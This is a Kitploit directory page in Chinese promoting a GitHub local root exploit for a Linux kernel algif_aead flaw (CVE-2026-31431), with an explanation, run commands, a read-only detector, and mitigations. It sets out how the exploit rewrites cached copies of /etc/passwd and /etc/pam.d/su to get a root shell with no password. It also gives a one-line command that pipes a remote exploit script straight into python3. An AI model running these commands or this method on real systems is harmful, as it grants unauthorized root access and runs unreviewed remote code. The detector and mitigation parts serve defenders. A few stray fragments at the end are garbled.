Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31431 — CVE-2026-31431 的本地权限提升漏洞利用程序,针对 Linux 内核的 algif_aead,利用 splice 覆盖页缓存并获取 root 权限。附带一个只读检测器。 | Kitploit
工具/GitHubGitHub/mfloresdacunha/cve-2026-31431
权限提升漏洞利用框架漏洞分析漏洞利用渗透测试红队
GitHubmfloresdacunha/cve-2026-31431

CVE-2026-31431

CVE-2026-31431 的本地权限提升漏洞利用程序,针对 Linux 内核的 algif_aead,利用 splice 覆盖页缓存并获取 root 权限。附带一个只读检测器。

查看仓库
1514个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-31431 — “Copy Fail” 本地权限提升

概述

CVE-2026-31431 是 Linux 内核 algif_aead 子系统中的一个本地权限提升漏洞。authencesn AEAD 实现通过 splice(2) 执行就地解密,将页缓存页放入目标散列列表。在验证认证标签之前,AAD 中的一个 4 字节值(seqno_lo)会被写回该页缓存页——从而允许非特权用户覆盖任意世界可读文件的内核页缓存中的任意字节。

受影响版本起始于: 内核 4.14(2017 年 8 月)——当 authencesn 被引入 algif_aead 时
已发布修复的版本: 仅 6.12、6.17 和 6.18 稳定分支
永久未修复: 内核 4.14–6.11(已停止维护;不会发布向后移植补丁)
所需原语: AF_ALG 套接字、authencesn(hmac(sha256),cbc(aes)) 密码、向 AF_ALG 套接字文件描述符执行 splice(2)
影响: 本地权限提升至 root——完全自动化,无需密码

工作原理

该漏洞利用程序依次应用两次页缓存补丁,然后自动执行 su:

  1. /etc/passwd 补丁 — 打开该文件(世界可读),填充其页缓存,然后使用 authencesn splice 原语将当前用户的 4 位 UID 字段翻转为 0000。补丁后,getpwnam() 将该用户报告为 UID 0。

  2. /etc/pam.d/su 补丁 — pam_rootok.so 和 pam_permit.so 恰好都是 13 个字符。两次 4 字节写入将 PAM 配置页缓存中的 pam_rootok.so 替换为 pam_permit.so。由于 pam_permit 始终返回 PAM_SUCCESS,现有的 auth sufficient 行会立即触发——不会出现密码提示。

  3. 自动获取 shell — 脚本执行 su <user>。PAM 无需密码即可完成认证(第 2 步),然后 setuid(0) 成功,因为 报告 UID 为 0(第 1 步)。无需用户交互即可返回 root shell。

整个过程不会发生任何磁盘写入。丢弃页缓存(echo 3 > /proc/sys/vm/drop_caches)或重启即可完全还原两个补丁。

使用方法

仅限授权测试。只能在您拥有或明确获准评估的主机上运行。

单行命令

root@kitploit:~
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3

自动返回 root shell——无需密码。

手动方式

root@kitploit:~
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py

清理(在 root shell 中执行)

root@kitploit:~
echo 3 | tee /proc/sys/vm/drop_caches

要求

  • Linux 内核 4.14–6.18;具体为未打补丁的 4.14–6.11(永久)或未应用上游修复的 6.12/6.17/6.18
  • 启用 AF_ALG 套接字支持(大多数发行版默认启用)
  • 可加载 authencesn(hmac(sha256),cbc(aes))(大多数发行版默认支持)
  • Python 3.6+
  • 4 位 UID(1000–9999)

检测

test_cve_2026_31431.py 是本仓库附带的一个安全、只读的检测器。它针对在临时目录中创建的临时哨兵文件执行 algif_aead splice 原语——绝不会触碰任何系统文件。它会输出判定结果并以明确定义的退出码退出:

退出码含义
0不受影响 — 前置条件未满足或页缓存未被修改
1测试错误(例如 AF_ALG 不可用、不支持 splice)

运行方式:

root@kitploit:~
# 单行命令(无需安装)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"

# 或从本地克隆运行
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"

存在漏洞的内核上的示例输出:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!]   Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!]   Surrounding bytes: 00000000504d4e4400000000  (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.

已打补丁的内核上的示例输出:

root@kitploit:~
[*] CVE-2026-31431 detector  kernel=6.12.0-55-generic  arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.

缓解措施

  • 应用上游内核补丁。
  • 通过 /etc/modprobe.d 阻止 algif_aead:install algif_aead /bin/false
  • 使用 seccomp 或 LSM 策略限制 AF_ALG 套接字。

参考资料

  • Copy Fail 披露
  • 上游修复:net/tls + crypto/algif_aead — authencesn 就地目标散列列表隔离
下载工具
getpwnam()
2
存在漏洞 — 标记字节已落入 splice 后的页缓存页中